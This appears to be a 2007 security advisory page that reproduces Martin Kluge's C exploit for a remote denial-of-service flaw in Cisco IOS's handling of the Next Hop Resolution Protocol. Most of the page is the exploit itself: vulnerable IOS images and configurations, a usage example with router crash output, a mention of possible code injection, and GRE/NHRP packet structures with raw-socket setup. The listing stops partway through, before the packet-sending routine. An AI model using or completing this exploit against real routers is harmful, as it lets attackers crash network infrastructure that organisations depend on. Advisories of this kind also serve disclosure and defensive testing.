Cisco IOS Next Hop Resolution Protocol DoS (NHRP, Exploit)
9 Aug. 2007
Summary
NHRP is "basically a query-and-reply protocol and all parties through which reply information passes build a 'network knowledge table' that can be used for all subsequent traffic".
A vulnerability in Cisco IOS allows remote denial of service, the following exploit code can be used to test it.
Credit:
The information has been provided by Martin Kluge.
Exploit:
/******************************************************************************/
/* */
/* nhrp-dos - Copyright by Martin Kluge, <mk@elxsi.de> */
/* */
/* Feel free to modify this code as you like, as long as you include the */
/* above copyright statement. */
/* */
/* Please use this code only to check your OWN cisco routers. */
/* */
/* Cisco bug ID: CSCin95836 */
/* */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA) */
/* subnetwork to determine the internetworking layer address and NBMA */
/* subnetwork addresses of the NBMA next hop towards the destination. */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC. */
/* */
/* URLs: */
/* - [RFC2332/NHRP] http://rfc.net/rfc2332.html */
/* - [RFC1701/GRE] http://rfc.net/rfc1701.html */
/* - [DMVPNs with Cisco] http://www.cisco.com/en/US/tech/tk583/tk372/techno */
/* logies_white_paper09186a008018983e.shtml */
/* */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be */
/* provided. */
/* */
/* Vulnerable images (tested): */
/* */
/* - c7100-jk9o3s-mz.123-12e.bin */
/* - c7200-jk8o3s-mz.122-40.bin */
/* - c3640-js-mz.122-15.T17.bin */
/* (and many other IOS versions on different platforms) */
/* */
/* Vulnerable configuration on cisco IOS: */
/* */
/* interface Tunnel0 */
/* ip address 10.0.0.1 255.255.255.128 */
/* no ip redirects */
/* no ip proxy-arp */
/* ip mtu 1464 */
/* ip nhrp authentication mysecret */
/* ip nhrp network-id 1000 */
/* ip nhrp map multicast dynamic */
/* ip nhrp server-only */
/* ip nhrp holdtime 30 */
/* tunnel source FastEthernet0/0 */
/* tunnel mode gre multipoint */
/* tunnel key 123456789 */
/* */
/* This exploit works even if "ip nhrp authentication" is configured on the */
/* cisco router. You can also specify a GRE key (use 0 to disable this */
/* feature) if the GRE tunnel is protected. You don't need to know the */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router). */
/* */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/* router and at least one client is established. */
/* */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform. */
/* */
/* Example: */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789 */
/* */
/* Router console output: */
/* */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8 */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000 */
/* <snip> */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03 */
/* Cause 00000024 (Code 0x9): Breakpoint exception */
/* */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011 */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) === */
/* */
/* Router reboots or sometimes hangs ;) */
/* */
/* */
/* Workaround: Disable NHRP ;) */
/* */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help */
/* regarding this issue. */
/* */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/* xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/* and #infiniteVOID */
/* */
/******************************************************************************/
/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);
/* Globals */
int sockfd;
int nhrp_req_id;
/* GRE header */
struct gre_h {
unsigned short flags; /* GRE flags */
unsigned short ptype; /* GRE protocol type */
unsigned int key; /* GRE key */
};
/* NHRP header */
struct nhrp_h {
/* NHRP fixed header (20 bytes) */
struct {
unsigned short afn; /* NHRP AFN */
unsigned short proto; /* NHRP protocol type */
unsigned int snap; /* NHRP SNAP */
unsigned short snapE:8; /* NHRP SNAP */
unsigned short hops:8; /* NHRP hop count */
unsigned short length; /* NHRP total length */
unsigned short checksum; /* NHRP checksum */
unsigned short mpoa_ext; /* NHRP MPOA extensions */
unsigned short version:8; /* NHRP version */
unsigned short type:8; /* NHRP type */
unsigned short nbma_addr:8; /* NHRP t/l of NBMA address */
unsigned short nbma_sub:8; /* NHRP t/l of NBMA subaddr */
} fixed;
/* NHRP mandatory part */
struct {
unsigned short src_len:8; /* NHRP src protocol length */
unsigned short dst_len:8; /* NHRP dest protocol length */
unsigned short flags; /* NHRP flags */
unsigned int request_id; /* NHRP request ID */
unsigned long client_nbma; /* NHRP client NBMA address */
unsigned long client_nbma_sub; /* NHRP client NBMA subaddr */
unsigned long client_pro_addr; /* NHRP client protocol addr */
} mand;
/* NHRP client information entries (CIE) */
union {
struct {
unsigned short code:8; /* NHRP code */
unsigned short pref_len:8; /* NHRP prefix length */
unsigned short reserved; /* NHRP reserved */
unsigned short mtu; /* NHRP MTU */
unsigned short holding_time; /* NHRP holding time */
unsigned short len_client:8; /* NHRP t/l cl addr */
unsigned short len_client_sub:8;/* NHRP t/l cl sub */
unsigned short len_client_pro:8;/* NHRP t/l cl pro */
unsigned short preference:8; /* NHRP preference */
unsigned short ext; /* NHRP extension */
} cie;
};
};
/* Main function */
int main (int argc, char **argv) {
/* Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}
/* Check UID */
if(getuid() != 0 && geteuid() != 0) {
fprintf(stderr, "Error: Please run as root!\n");
exit(EXIT_FAILURE);
}
/* Open a socket */
sockfd = open_socket();
/* Send DoS packet */
send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));
/* Close the socket */
close_socket(sockfd);
exit(EXIT_SUCCESS);
}
/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;
/* Open the socket */
fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(fd < 0) {
fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
exit(EXIT_FAILURE);
}
/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
/* Otherwise it would be done by the kernel. */
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
printf("\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
printf("------------------------------------------------\n");
printf("Sending DoS packet...");